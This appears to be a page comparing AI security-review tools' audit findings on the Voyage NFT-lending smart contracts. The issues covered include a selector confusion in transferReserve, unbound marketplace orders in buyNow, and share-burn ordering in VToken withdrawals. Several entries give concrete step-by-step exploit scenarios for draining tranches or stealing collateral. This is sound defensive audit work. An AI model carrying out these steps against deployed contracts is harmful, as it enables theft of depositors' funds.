buyNowrecords the NFT as collateral in Bob's vault (contracts/voyage/libraries/LibLoan.sol:184-204).2. Bob calls
transferReserve(vault, collection, bob, tokenId); only vault ownership is checked (contracts/voyage/facets/VaultFacet.sol:97-111).3. The encoded
transferFrom(vault, bob, tokenId)is executed byVault.execute, which the diamond is authorised to call (contracts/voyage/facets/VaultFacet.sol:60-67, contracts/vault/Vault.sol:113-123).4.
liquidatereverts on the NFT transfer (contracts/voyage/facets/LoanFacet.sol:437-445). - Exploit scenario
-
Not specified.
- Recommendation
-
Restrict
_currencyintransferReserveto initialised reserve currencies and reject registered collections, or route all vault asset movements through functions that checkisCollateral. Verify:transferReserve(vault, crab, user, tokenId)afterbuyNowmust revert.
Claude Security (Sonnet 5.5)
transferReserve lets a vault owner move collateralised NFTs out of the vault, bypassing the isCollateral lock in withdrawNFT
contracts/voyage/facets/VaultFacet.sol:110Predicted severity: High- Root cause
-
Vulnerable symbol: VaultFacet.transferReserve
Preconditions: Attacker owns a vault (created by the admin); Attacker has an open loan whose NFT is held in the vault
Offending code:
IVault(_vault).execute(encodedData);
- Impact
-
Borrowers can keep the NFT and default on the senior tranche's principal. The loan becomes unliquidatable, leaving permanent bad debt for LPs.
- Description
-
withdrawNFTrefuses to move an NFT whosenftIndex.isCollateralflag is set.transferReservetakes a caller-chosen_currencyand buildstransferFrom(_vault, _to, _amount)for it, with no check against the reserve currency.IERC20.transferFromandIERC721.transferFromshare selector 0x23b872dd. An owner can therefore pass the collection as_currencyand the tokenId as_amount, and Vault.execute will transfer the NFT out of the vault. Also CWE-20: The caller-supplied_currencyis never checked to be an ERC20 or a reserve currency. It becomes the target of atransferFrom(vault, _to, _amount)call executed by the vault via Vault.execute. Passing an NFT collection as_currencyand a tokenId as_amountmoves a collateralised NFT out of the vault, skipping theisCollateralcheck that onlywithdrawNFTperforms. Also CWE-843: transferReserve builds an ERC20 transferFrom(_vault, _to, _amount) call against a caller-chosen_currencyand runs it through Vault.execute with Voyage's blanket permission. ERC20 and ERC721 share the transferFrom(address,address,uint256) selector. Passing a collateral collection as_currencyand the tokenId as_amountmakes the vault, as token owner, transfer the NFT. This bypasses the isCollateral check enforced in withdrawNFT. Also CWE-863: transferReserve lets the vault owner make the vault call transferFrom(vault, _to, _amount) on any _currency address, and the ERC-20 and ERC-721 transferFrom selectors are identical, so passing a collection address with _amount = tokenId transfers the NFT without the nftIndex.isCollateral check that withdrawNFT applies. - Exploit scenario
-
A borrower calls buyNow to buy an NFT with 2/3 of the price funded by the senior tranche, then calls
transferReserve(vault, collection, attacker, tokenId). The NFT leaves the vault although the loan is open. The borrower stops repaying. LoanFacet.liquidate later callsIVault.execute(transferFrom(vault, liquidator, id)), which reverts because the vault no longer owns the token, so the position cannot be liquidated. - Recommendation
-
Restrict
transferReserveto the reserve currency (WETH or the configured currencies) and reject any_currencythat is a registered collection or hasnftIndexentries. Alternatively, verify post-call that no collateral-flagged NFT has left the vault. Do not construct arbitrary token calls from user-chosen addresses. Also CWE-20: Restrict_currencyin transferReserve to an allowlist of reserve currencies and WETH. Reject any address that is a registered reserve collection or that implements ERC721 (ERC165). Apply the same collateral check on every vault-originated transfer, not only in withdrawNFT. Validate_collectionin withdrawNFT in the same way, since it also lets the vault call arbitrary contracts with the transferFrom selector. Also CWE-843: Restrict_currencyto a whitelist of registered reserve currencies, or at least reject any address that is a registered collection. Do not build generic transferFrom calls for caller-supplied tokens. Apply the isCollateral check to every path that can move an NFT. Also CWE-863: Restrict transferReserve to the reserve currency (WETH) or to tokens that are not registered collections, and check nftIndex.isCollateral for any collection. Alternatively use a distinct function selector or an explicit ERC-20 transfer, and verify the vault still owns every collateral NFT before releasing funds.
Claude Security (Opus 5.5)
transferReserve accepts any address as
_currency, so a borrower can pull collateral NFTs out of their vaultcontracts/voyage/facets/VaultFacet.sol:110Predicted severity: High- Root cause
-
Vulnerable symbol: transferReserve
Preconditions: Attacker owns a Voyage vault, which the admin creates through createVault as part of normal onboarding; Attacker has an active loan whose collateral NFT is held by the vault, i.e. buyNow was paid with only the downpayment
Offending code:
IVault(_vault).execute(encodedData);
- Impact
-
A borrower can withdraw collateral NFTs that are still pledged. They keep an asset mostly paid for with pool liquidity and leave senior and junior depositors with unrecoverable debt. Liquidation of that loan also reverts permanently, so the debt cannot be resolved. This undermines the protocol's core collateral guarantee.
- Description
-
transferReservetakes_currency,_toand_amountfrom the caller and never checks that_currencyis a reserve ERC20. It then has the vault run_currency.call(transferFrom(_vault,_to,_amount)). ERC20 and ERC721transferFrom(address,address,uint256)share the selector 0x23b872dd, so passing an NFT collection as_currencyand a token ID as_amountmoves that NFT. This bypasses thenftIndex[...].isCollateralcheck thatwithdrawNFT(VaultFacet.sol:86) enforces. Also CWE-843: The vault owner fully controls_currency,_toand_amountin transferReserve. The function buildsIERC20.transferFrom(_vault,_to,_amount)(selector 0x23b872dd), which is byte-for-byte the same call as ERC721transferFrom(from,to,tokenId). When_currencyis an NFT collection, the vault executes an ERC721 transfer of token_amount. Nothing checks thenftIndex[...].isCollaterallock that withdrawNFT enforces. Also CWE-863: withdrawNFT and transferReserve both make the vault calltarget.transferFrom(vault, X, uint256). Only withdrawNFT checks nftIndex[..].isCollateral. transferReserve accepts any_currencytarget and any_amount. ERC721.transferFrom has the same selector as ERC20.transferFrom (0x23b872dd), so a vault owner can pass the NFT collection as_currencyand the tokenId as_amount. - Exploit scenario
-
1) The admin creates a vault for the attacker, which is the normal onboarding step. 2) The attacker calls
LoanFacet.buyNow(collection, tokenId, vault, marketplace, data)and pays only the downpayment. The senior tranche funds the rest, and the NFT ends up in the vault markedisCollateral = true. 3) The attacker callsVaultFacet.transferReserve(vault, collection, attackerEOA, tokenId). The diamond holds the ACL permission forvault.execute, so the vault callscollection.transferFrom(vault, attackerEOA, tokenId). The vault owns the token, so the transfer succeeds. 4) The attacker stops repaying.LoanFacet.liquidatereaches the sametransferFromfrom a vault that no longer owns the NFT, so it reverts and the bad debt can never be liquidated. Lenders lose the principal. - Recommendation
-
Restrict
_currencyto configured reserve currencies, for example by requiring it to be thecurrencyof an initialized reserve, and reject any address that is a reserve collection or hasnftIndexentries. Usetransferrather thantransferFromfor ERC20 moves out of the vault. Also check that the move does not cut into funds backing outstanding debt. More broadly, have the vault and diamond tell ERC20 and ERC721 operations apart explicitly instead of relying on a shared selector with caller-chosen targets. Also CWE-843: Allow transferReserve only for whitelisted reserve currencies, for example require_currencyto be a configured reserve currency and never an initialized collection. Better still, use separate, typed code paths for ERC20 and ERC721 and enforce the isCollateral lock in both. Also check the vault's outstanding debt and margin before allowing any ERC20 withdrawal. Also CWE-863: Restrict transferReserve to the reserve currency/approved ERC20s, or run the same nftIndex collateral check (and an ERC721 interface check) before executing. Better, use a dedicated vault-side function that refuses to move locked collateral.
Vercel Security Review
transferReserve can transfer NFT collateral out of indebted vaults
contracts/voyage/facets/VaultFacet.sol:106Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new reserve withdrawal accepts an arbitrary token contract** -
contracts/voyage/facets/VaultFacet.sol:103-106```solidity title="contracts/voyage/facets/VaultFacet.sol:103-106"
if (LibVault.getVaultAddress(_msgSender()) != _vault) {
revert InvalidVaultCall();
}
bytes4 selector = IERC20(_currency).transferFrom.selector;
```
A borrower supplies their NFT collection as
_currencyand a collateral token ID as_amount. ERC20 and ERC721 share thetransferFrom(address,address,uint256)selector.**2. The vault transfers the collateral without checking its lien** -
contracts/voyage/facets/VaultFacet.sol:107-110```solidity title="contracts/voyage/facets/VaultFacet.sol:107-110"
bytes memory param = abi.encode(_vault, _to, _amount);
bytes memory data = abi.encodePacked(selector, param);
bytes memory encodedData = abi.encode(_currency, data);
IVault(_vault).execute(encodedData);
```
Unlike
withdrawNFT, this path never checksisCollateral. Voyage's vault-execution permission lets borrowers remove financed NFTs while leaving lenders with unsecured debt. - Exploit scenario
-
Not specified.
- Recommendation
-
Restrict reserve transfers to configured currencies and use ERC20 transfer, not the ERC721-compatible transferFrom selector.
-
Missing calldata validation in buyNow results in stolen NFT voyage-3 · 6 writeups Critical
V12
Marketplace orders are not bound to pledged collateral
contracts/voyage/facets/LoanFacet.sol:122Predicted severity: High- Root cause
-
The loan collateral identifiers and encoded marketplace order describe the same intended purchase but are validated independently.
buyNowtrusts successful dispatch without validating acquisition and custody of the precise pledged NFT. - Impact
-
A borrower can withdraw an acquired NFT that was not indexed as collateral and leave the loan without a realizable pledged asset. Liquidation then attempts to transfer the declared token instead, allowing conditional loss of senior liquidity or liquidation failure; actual funded-marketplace execution is also constrained by the separately identified missing value forwarding.
- Description
-
buyNowrecords collateral using the caller's_collectionand_tokenId, but submits_dataindependently to the marketplace adapter without binding its order asset to those identifiers. NeitherMarketplaceAdapterFacet.purchasenor the supplied adapters receives the expected collateral identifiers to enforce that relationship. The LooksRare adapter checks only the function selector, while the Seaport adapter checks the route, amount, and consideration token rather than matching the offered NFT to the loan. No post-purchaseownerOfcheck verifies that the recorded collateral arrived in the canonical vault. Consequently a successful order for a different NFT can leave the acquired asset unencumbered while the loan points at nonexistent or unrelated collateral.
Codex Security (GPT-6 Sol)
A funded purchase can leave the recorded NFT absent from the vault
contracts/voyage/facets/LoanFacet.sol:115Predicted severity: Medium- Root cause
-
LibLoan.initDebtrecords the caller's token ID before purchase. The adapters validate selectors and some order shape but not the expected collection/token ID;MarketplaceAdapterFacet.purchaseexecutes the order via the vault and does not confirmownerOfafterward. - Impact
-
Under a configured marketplace that returns success for mismatched order data, senior funds can finance a different or absent NFT and liquidation of the recorded collateral fails. Likelihood is unknown under the stated prerequisites.
- Description
-
buyNowrecords caller-supplied collection and token ID as collateral without binding them to marketplace order fields or checking post-purchase ownership. - Exploit scenario
-
contracts/voyage/facets/LoanFacet.sol:115 to contracts/voyage/facets/LoanFacet.sol:263
- Recommendation
-
Validate the order's collection, token ID, recipient and consideration against loan parameters, then require the expected NFT in the vault after execution.
Pashov (Claude Opus 5.5 high)
buyNow does not verify that the purchased NFT is the recorded collateral (collection/tokenId) or that the order price is the amount actually paid
contracts/voyage/facets/LoanFacet.sol:150Predicted severity: High- Root cause
-
Trusting user-supplied order data without binding it to the loan's collateral and without post-purchase ownership verification.
- Impact
-
A borrower can sell a worthless NFT from any collection to his own vault at the floor price of a supported collection, receiving the pool's principal as seller proceeds; the loan is recorded against an NFT the vault never owns, so liquidation reverts or yields nothing and the senior/junior tranches lose the full outstanding principal.
- Description
-
The collateral recorded by initDebt is the user-supplied
_collection/_tokenId, while the asset actually bought is whatever the user-supplied marketplace order_dataspecifies. Neither the adapters (_validateonly checks selector, route, offerAmount and considerationToken; LooksRare only checks the selector) nor buyNow check that the order's collection/offerToken equals_collection, that the tokenId equals_tokenId, or that the vault actually received the NFT afterwards. The price is taken fromtakerOrder.price/considerationAmountand compared to the floor of_collection. - Exploit scenario
-
Attacker lists a junk ERC721 on Seaport (ETH_TO_ERC721) for 10 ETH, where 10 ETH is the floor of collection C. He calls buyNow(C, tokenId X, vault, seaport, data-for-junk-order). Checks pass (price <= floor); the vault pays 10 ETH (6.7 from senior) to the attacker as seller; collateral recorded is C#X which the vault does not hold. Attacker defaults.
- Recommendation
-
Decode and enforce collection == offerToken, tokenId == offerIdentifier, price including all additional recipients, and verify IERC721(collection).ownerOf(tokenId) == vault after the purchase.
Devin Security
buyNow never checks that the marketplace order buys the collateral NFT it records
contracts/voyage/facets/LoanFacet.sol:145Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A borrower with a vault can take a loan that records one NFT as collateral while the marketplace order buys a different, worthless NFT that the borrower sells to themselves, which pulls lender funds out with no real collateral.
##### What's wrong
This is a missing validation bug.
buyNowtakes_collectionand_tokenIdfrom the caller and records them as collateral. It takes the price and the actual order from separate, caller-supplied_data. Neither the facet nor the LooksRare or Seaport adapter checks that the order's collection and token ID match_collectionand_tokenId. Neither checks that the vault receives that NFT.##### Who can do it
Bob is a borrower whose vault the operator has created. He lists a worthless NFT that he owns from a second address, priced at the floor price of a supported collection. He calls
buyNowwith that collection and any token ID, and passes his own listing as_data.- The borrower owns a vault created by the operator.
- A marketplace adapter is registered for the
_marketplaceargument.- The vault can pay the order. The vault calls the marketplace with no ETH value, so this depends on how the marketplace pulls payment from the vault. This part is not fully verified.
##### What they get
Bob's second address is paid about the floor price, and most of that money comes from the senior tranche. The recorded collateral is not in the vault, so liquidation cannot recover anything. The senior and junior lenders absorb the full loss, and Bob can repeat this up to his credit limit.
##### How it works
1.
buyNowstores the caller's_collectionand_tokenIdas collateral (LoanFacet.sol:123-124, and LibLoan.sol:193-196).2. The price comes from
extractAssetPrice(_marketplace, _data), which returns the taker price orconsiderationAmountfrom_data(LoanFacet.sol:151-152).3. The only price check is
fv >= totalPrincipal(LoanFacet.sol:161-163).4.
MarketplaceAdapterFacet.purchasemakes the vault call the marketplace with the caller's order as-is (MarketplaceAdapterFacet.sol:22-28).5. The adapters check only the function selector, the route and the amount. They never compare
offerToken/offerIdentifierormakerOrder.collection/tokenIdwith the recorded collateral (adapter/SeaportAdapter.sol:240-279 and adapter/LooksRareAdapter.sol:143-163). - Exploit scenario
-
Not specified.
- Recommendation
-
Have each adapter decode and return the collection and token ID of the order. In
buyNow, require them to equal_collectionand_tokenId. Afterpurchase, requireIERC721(_collection).ownerOf(_tokenId) == _vault. For Seaport, include the additional recipient amounts in the price. To check the fix, write a test that callsbuyNowwith an order for a different collection or token ID. It should revert.
Devin Security (Deep)
buyNow never checks that the vault received the named NFT, so pool funds are lent against collateral the vault does not hold
deployments/rinkeby/solcInputs/12dd858cd3471725424835f3a0db1659.json:245Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A borrower can call buyNow with order data that does not deliver the named NFT and still receive two-thirds of the price from the senior pool, leaving lenders with a loan that can never be liquidated.
##### What's wrong
This is a missing post-condition check.
buyNowtakes_collectionand_tokenIdas plain parameters and takes the purchase price from caller-supplied marketplace_data. Nothing verifies that_datarefers to that collection and token, or thatIERC721(_collection).ownerOf(_tokenId) == _vaultafterpurchase. The loan and the collateral record are written against(_collection, _tokenId)regardless.##### Who can do it
Bob has an operator-created vault. On the deployed Rinkeby/Goerli system the registered marketplace is
MockMarketPlace, whosematchAskWithTakerBidUsingETHAndWETHdoes nothing, so Bob callsbuyNow(crab, 1, bobVault, mockMarketplace, data)withdatanaming a 9 ETH price while the Crab floor is 10 ETH. On a real marketplace, Bob would list a worthless NFT from a second wallet at 9 ETH and point_dataat that listing.- The attacker has a vault; the reserve has liquidity and a non-zero oracle price.
- The marketplace call completes without delivering
(_collection, _tokenId)to the vault, which is true for the deployed mock marketplaces and for any self-listed item on a real marketplace.##### What they get
6 ETH of lenders' money, plus Bob's 3 ETH down payment, is sent to Bob's vault as ETH and no collateral exists. When Bob stops paying,
liquidatereverts on the NFT transfer, so lenders cannot recover the 6 ETH. In the self-listing variant the 9 ETH lands in Bob's selling wallet, so he directly pockets lenders' funds. Repeating this drains the pool up to its available liquidity.##### How it works
1.
buyNowextracts the price from_datavia the adapter and only checks that it is at or below the oracle floor of_collection(contracts/voyage/facets/LoanFacet.sol:148-158).2. It moves
outstandingPrincipalfrom the senior token and sendstotalPrincipalETH to the vault (contracts/voyage/facets/LoanFacet.sol:250-261).3.
MarketplaceAdapterFacet.purchasehas the vault call the marketplace with the adapter output; the vault forwards no ETH and nothing checks what, if anything, was received (contracts/voyage/facets/MarketplaceAdapterFacet.sol:14-29, contracts/vault/Vault.sol:113-123).4. The loan and
nftIndex[_collection][_tokenId]are recorded as if the NFT were in the vault (contracts/voyage/libraries/LibLoan.sol:184-204).5.
liquidatelater triescollection.transferFrom(vault, liquidator, tokenId)and reverts (contracts/voyage/facets/LoanFacet.sol:437-445). - Exploit scenario
-
Not specified.
- Recommendation
-
After
purchase, requireIERC721(_collection).ownerOf(_tokenId) == _vault, and have each adapter return the order's collection and token id sobuyNowcan require they equal_collectionand_tokenIdbefore any funds move. Verify with a test where the mock marketplace does not transfer the NFT:buyNowmust revert and the senior token balance must be unchanged.
Claude Security (Opus 5.5)
buyNow locks a caller-chosen tokenId, not the NFT it bought, so borrowers can withdraw financed NFTs and lock other users' NFTs
contracts/voyage/libraries/LibLoan.sol:194Predicted severity: High- Root cause
-
Vulnerable symbol: initDebt
Preconditions: Attacker holds a Voyage vault (created by the admin through createVault); buyNow completes a purchase through a registered marketplace adapter; The reserve has liquidity and a non-zero oracle floor price
Offending code:
LibAppStorage.ds().nftIndex[param.collection][
- Impact
-
Each loan lets the borrower take the outstanding principal (about two-thirds of the NFT price with the default 30/90-day setup) from the senior pool, and the loan cannot be liquidated. The attacker can also lock other users' NFTs indefinitely, or unlock collateral backing someone else's loan, through the global nftIndex.
- Description
-
The caller passes
_tokenIdtoLoanFacet.buyNow(L117/L124). It is written straight into the loan's collateral list and into the globalnftIndex[collection][tokenId]lock (LibLoan L193-196). Nothing ties it to the NFT that_databuys at L270.VaultFacet.withdrawNFTdecides whether a withdrawal is allowed only from thatnftIndexentry, so the caller controls which NFT gets locked. - Exploit scenario
-
1) A borrower with a registered vault calls buyNow(collection, tokenId=B, vault, marketplace, data).
datais an order for the real NFT A; B is an id the vault does not hold, or an NFT in a victim's vault. The pool provides outstandingPrincipal, which is about (nper-1)/nper of the price, and the vault buys A. 2)nftIndex[collection][A]was never set, so the borrower calls VaultFacet.withdrawNFT(vault, collection, A) and receives A after paying only the downpayment, fee and interest. 3) The borrower stops paying. liquidate() triestransferFrom(vault, liquidator, B)through the vault. That reverts because the vault does not own B, so the loan can never be liquidated or written down, and the senior pool loses the principal. 4) If B is an uncollateralised NFT in another user's vault, itsisCollateralflag is now true and that user can no longer withdraw it. Only clearing the attacker's loan resets the flag, and the attacker controls that. If B is someone else's collateral, clearing the attacker's own small loan setsisCollateral=false(LibLoan L319-321) and unlocks the other borrower's collateral early. - Recommendation
-
Take the collection and tokenId from the order the adapter executes, such as Seaport offerToken/offerIdentifier or LooksRare makerAsk.collection/tokenId, and require them to match
_collection/_tokenId. Afterpurchase, check thatIERC721(_collection).ownerOf(_tokenId) == _vault. Revert ifnftIndex[collection][tokenId].isCollateralis already true. Key the collateral lock per vault so one user cannot write another user's entry.
-
Missing timelocks can result in stolen NFTs voyage-4 · 9 writeups Critical
V12
Withdrawal caps are inflated after share burns
contracts/voyage/tokenization/VToken.sol:41Predicted severity: High- Root cause
-
pushWithdraw()values already-burned shares against a post-burn denominator while underlying has not left the tranche. The unbonding cap is not bound to the actual assets requested or a pre-burn share valuation. - Impact
-
A provider can withdraw a partial position and claim more underlying than the position relinquished, reducing the backing of remaining shares. This directly depletes junior assets available to cover liquidation shortfalls, and the same inherited implementation affects senior tokens.
- Description
-
VToken.withdraw()burns shares before computing the unbonding position'smaxUnderlying.pushWithdraw()then converts those burned shares using the reduced live supply while the withdrawn underlying remains in the token contract. With an initially balanced tranche holding 100 assets and 100 shares, withdrawing 20 assets burns 20 shares but records a cap of 25 assets, not 20.claim()can immediately pay that cap and does not enforce the declared cooldown. This path lets a junior provider overclaim before or between liquidation losses, leaving less underlying for the remaining providers and the liquidation backstop.
Codex Security (GPT-6 Sol)
A withdrawing depositor can claim other depositors' assets
contracts/voyage/tokenization/VToken.sol:41Predicted severity: Critical- Root cause
-
The withdrawal calculates shares before burning, but
pushWithdrawcallsconvertToAssetsafter_burn. That conversion divides by the smaller remaining supply.claimtransfers the recordedmaxUnderlyingif liquidity is available. - Impact
-
For 100 assets and 100 shares, withdrawing 49 shares can record a 96-asset claim, leaving four assets for other holders after claim. Likelihood is high under the stated prerequisites.
- Description
-
VToken.withdrawburns shares before computing the pending asset entitlement. The reduced supply inflatesmaxUnderlying, andclaimpays that inflated amount from the shared reserve. - Exploit scenario
-
contracts/voyage/tokenization/VToken.sol:41 to contracts/shared/tokenization/ERC4626.sol:128
- Recommendation
-
Record the requested asset entitlement before burning shares and settle at most the remaining recorded asset amount.
Pashov (Claude Opus 5.5 high)
VToken.withdraw computes unbonding maxUnderlying after burning shares, letting withdrawers claim far more than their share
contracts/voyage/tokenization/VToken.sol:41Predicted severity: Critical- Root cause
-
Order of operations:
_burnbeforeconvertToAssetsin pushWithdraw (and totalUnbonding updated after the conversion). - Impact
-
A depositor can claim assets belonging to other depositors; with a large share, a single withdrawal can drain the whole tranche.
- Description
-
VToken.withdraw burns the owner's shares first and only then calls pushWithdraw, which records
maxUnderlying += convertToAssets(_shares). At that moment totalSupply has already decreased while totalAssets() has not (totalUnbonding is only incremented afterwards), so the share price used is inflated. claim() later pays out maxUnderlying (capped by the contract balance). - Exploit scenario
-
Pool has 200 assets/200 shares split 100/100 between Alice and attacker. Attacker withdraws 100 assets: shares=100 are burned (supply 100, totalAssets 200) then convertToAssets(100)=200 is recorded as maxUnderlying. Attacker calls claim(): availableLiquidity=200 is not > 200, so else-branch transfers all 200 tokens. Alice's deposit is gone.
- Recommendation
-
Compute the asset amount before burning (use the
_amount/previewRedeem value computed before state changes), and account totalUnbonding in assets consistently.
Pashov (Codex GPT-6 Sol high)
Withdrawal claim is valued after share burn and can drain other depositors
audit/contracts/voyage/tokenization/VToken.sol:51Predicted severity: Critical- Root cause
-
withdraw burns shares at line 53 and pushWithdraw calls convertToAssets on those same shares at line 72 using the post-burn supply.
- Impact
-
A withdrawing depositor can claim more underlying than their shares represented before withdrawal, causing direct loss to other depositors and possible complete reserve depletion.
- Description
-
VToken burns withdrawal shares before it computes the user's queued asset entitlement. The smaller total supply raises convertToAssets(shares), so the queued claim can exceed the requested withdrawal and consume assets belonging to remaining holders.
- Exploit scenario
-
In a pool with 200 assets and 200 shares, an attacker owning 100 shares withdraws 99 assets. The burn leaves 101 shares, so pushWithdraw records floor(99*200/101)=196 assets. claim immediately pays 196 because cash 200 exceeds that cap, leaving only 4 assets for other holders.
- Recommendation
-
Calculate and record the asset entitlement before burning shares, or pass the requested asset amount into pushWithdraw, and keep pending claims in asset units consistently.
Devin Security
Withdraw records an inflated claimable amount, so any depositor can drain the tranche
contracts/voyage/tokenization/VToken.sol:41Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can deposit into a senior or junior tranche, withdraw, and claim almost all of the other depositors' money in the same block.
##### What's wrong
This is a share accounting bug.
VToken.withdrawburns the caller's shares first and only then callspushWithdraw, which prices those already-burned shares withconvertToAssets. Burning shrinks the total supply but leavestotalAssetsunchanged, so the recordedmaxUnderlyingis far larger than what the shares were worth.claimthen pays outmaxUnderlyingdirectly and has no cooldown check.##### Who can do it
Alice, a lender, has deposited 100 WETH into a tranche. Mallory, any Ethereum address, deposits 99 WETH and gets 99 shares. She calls
withdraw(99, ...)on the tranche token and thenclaim()in the same transaction.- The tranche token is deployed and holds other depositors' funds.
- Mallory holds enough of the underlying token to make a deposit somewhat smaller than the existing pool.
- No account, role or vault is needed.
deposit,withdrawandclaimare public.##### What they get
In the example,
withdrawrecordsmaxUnderlyingas 99 × 199 / 100 = 197.01 WETH.claimsends Mallory 197.01 WETH, so she takes about 98 WETH of Alice's 100 WETH. She can repeat this to empty both the senior and junior tranche of every reserve. Lenders lose their deposits.##### How it works
1. Mallory deposits into the tranche through the public ERC4626
deposit(shared/tokenization/ERC4626.sol:35) and gets shares at the normal price.2.
VToken.withdrawcomputessharesand then calls_burnbeforepushWithdraw(VToken.sol:46-54).3.
pushWithdrawsetsmaxUnderlying += convertToAssets(_shares)(VToken.sol:72). The supply has already dropped, andtotalUnbondinghas not grown yet, so the price per share is inflated.4.
claimchecks only that the contract balance exceedsmaxUnderlyingand transfers that amount. It never checkscooldownor the share value (VToken.sol:91-107).5. The balance that pays Mallory belongs to the other depositors.
- Exploit scenario
-
Not specified.
- Recommendation
-
Compute the asset value of the shares before burning them, for example
uint256 assets = convertToAssets(shares)before_burn, or simply record_amount. AddtotalUnbondingto the accounting before or atomically with the burn. Inclaim, cap the payout atconvertToAssets(unbondings[user].shares)(asmaximumClaimablealready does) and enforcecooldown. Fix the==typo inreduceUnbondingPosition. To check the fix, write a test with two depositors where one withdraws and claims. That depositor should receive no more than they deposited.
Devin Security (Deep)
Deposit tokens allow instant exit via redeem and claim, bypassing the unbonding queue and cooldown
deployments/rinkeby/solcInputs/8683a2c35133ff397846d93c3e914ec7.json:215Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A depositor who sees a loss coming can exit instantly through redeem, taking liquidity that was reserved for users already waiting in the withdrawal queue.
##### What's wrong
VTokenoverrideswithdrawto queue shares but inheritsERC4626.redeem, which pays out immediately and ignorestotalUnbonding;claim()never checks the declaredcooldown. Same source as the deployed artifact.##### Who can do it
Alice has a queued withdrawal; Mallory, another depositor, calls
redeem(shares, mallory, mallory)on the token ahead of a write-down.- The attacker holds deposit-token shares and the token has WETH balance.
##### What they get
Mallory exits at full pre-loss value with the WETH Alice's claim depended on; the loss falls on remaining depositors.
##### How it works
1.
VTokenoverrideswithdrawonly (contracts/voyage/tokenization/VToken.sol:41-57).2.
ERC4626.redeempays out instantly (contracts/shared/tokenization/ERC4626.sol:90-109).3.
claim()has no cooldown check;cooldownis unused (contracts/voyage/tokenization/VToken.sol:24, 91-108). - Exploit scenario
-
Not specified.
- Recommendation
-
Override
redeemto use the unbonding logic (or revert) and enforce the cooldown inclaim. Verify:redeemmust revert or queue;claimbefore cooldown must revert.
Claude Security (Sonnet 5.5)
Unbonding position priced after the share burn, so claim() pays out far more than the shares are worth (drains a whole tranche)
contracts/voyage/tokenization/VToken.sol:72Predicted severity: Critical- Root cause
-
Vulnerable symbol: pushWithdraw
Preconditions: Tranche token holds liquidity that has not been lent out; Attacker can deposit an amount X below the existing liquidity H (flash loan is enough)
Offending code:
unbondings[_user].maxUnderlying += convertToAssets(_shares);
- Impact
-
Any unprivileged address can steal close to the entire liquidity of the junior or senior deposit token in one transaction (flash-loanable), leaving the other depositors with near-zero value.
- Description
-
VToken.withdraw burns the caller's shares and only then calls pushWithdraw, which records maxUnderlying = convertToAssets(_shares) against the already-reduced supply; claim() then pays that inflated maxUnderlying out of the pool, and any address can deposit into and withdraw from the tranche token directly.
- Exploit scenario
-
Junior (or senior) tranche holds H = 100 WETH for 100 shares. Attacker (own funds or a flash loan) calls tranche.deposit(99 WETH, attacker) and gets 99 shares (balance 199, supply 199). Attacker calls tranche.withdraw(99 WETH, attacker, attacker): previewWithdraw gives 99 shares, _burn drops supply to 100, then pushWithdraw records maxUnderlying = 99 * totalAssets(199) / supply(100) = 197.01 WETH. Attacker calls claim(): availableLiquidity (199) > maxClaimable (197.01), so 197.01 WETH is transferred. Net +98.01 WETH, taken from the honest depositor, who is left with about 1.99 WETH backing 100 shares. The attacker needs no privileges and never goes through the diamond. Any attacker deposit X < H works; the payout is roughly X*(X+H)/H. Static reasoning only; nothing was executed.
- Recommendation
-
Compute the asset value of the shares before burning them and before the unbonding accounting changes (convertToAssets/previewRedeem at the pre-burn supply), or set maxUnderlying = the _amount argument already priced by previewWithdraw. Cap claims at min(maxUnderlying, current value). Add invariant tests on unbonding accounting.
Claude Security (Opus 5.5)
VToken withdraw values unbonding shares after burning them, so a withdrawer is credited with most or all of the pool
contracts/voyage/tokenization/VToken.sol:72Predicted severity: Critical- Root cause
-
Vulnerable symbol: pushWithdraw
Preconditions: Pool has other depositors' funds
Offending code:
unbondings[_user].maxUnderlying += convertToAssets(_shares);
- Impact
-
Any depositor can take almost the whole balance of either tranche, stealing the other LPs' funds.
- Description
-
VToken.withdraw burns the owner's shares and only then calls pushWithdraw, which prices them with ERC4626.convertToAssets. At that point totalSupply has already dropped, but Junior/Senior totalAssets (balance - totalUnbonding) has not changed yet because totalUnbonding is updated afterwards. claim() then pays out the inflated maxUnderlying from the shared pool balance.
- Exploit scenario
-
The junior (or senior) pool holds 100 WETH from Bob, backed by 100 shares. The attacker deposits 99 WETH and receives 99 shares (pool now 199 WETH / 199 shares). The attacker calls VToken.withdraw(99, attacker, attacker). The 99 shares are burned, leaving supply at 100, and convertToAssets(99) = 99*199/100 = 197. claim() sees a balance of 199 > 197 and sends 197 WETH to the attacker. Bob's 100 shares are now backed by about 2 WETH.
- Recommendation
-
Compute the asset value (or record it from previewWithdraw/_amount) before _burn, and update totalUnbonding in the same step. Keep totalUnbonding in asset units, or convert consistently when subtracting it in totalAssets.
Vercel Security Review
Post-burn withdrawal valuation lets depositors claim other holders' assets
contracts/voyage/tokenization/VToken.sol:53Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Withdrawal destroys shares before valuing the queued claim** -
contracts/voyage/tokenization/VToken.sol:53-54```solidity title="contracts/voyage/tokenization/VToken.sol:53-54"
_burn(_owner, shares);
pushWithdraw(_owner, shares);
```
The new withdrawal flow reduces supply while leaving underlying assets unchanged.
**2. The burned shares receive an inflated asset valuation** -
contracts/voyage/tokenization/VToken.sol:71-73```solidity title="contracts/voyage/tokenization/VToken.sol:71-73"
unbondings[_user].shares += _shares;
unbondings[_user].maxUnderlying += convertToAssets(_shares);
totalUnbonding += _shares;
```
For a junior pool with 100 assets and 100 shares, withdrawing 49 shares records approximately 96 assets, since conversion now divides by 51 shares.
**3. Claim honors the inflated amount** -
contracts/voyage/tokenization/VToken.sol:96-99```solidity title="contracts/voyage/tokenization/VToken.sol:96-99"
if (availableLiquidity > maxClaimable) {
transferredAsset = maxClaimable;
transferredShares = unbondings[msg.sender].shares;
resetUnbondingPosition(msg.sender);
```
Line 107 transfers that amount to the caller. A depositor can withdraw and immediately claim nearly twice their stake at the expense of remaining holders.
- Exploit scenario
-
Not specified.
- Recommendation
-
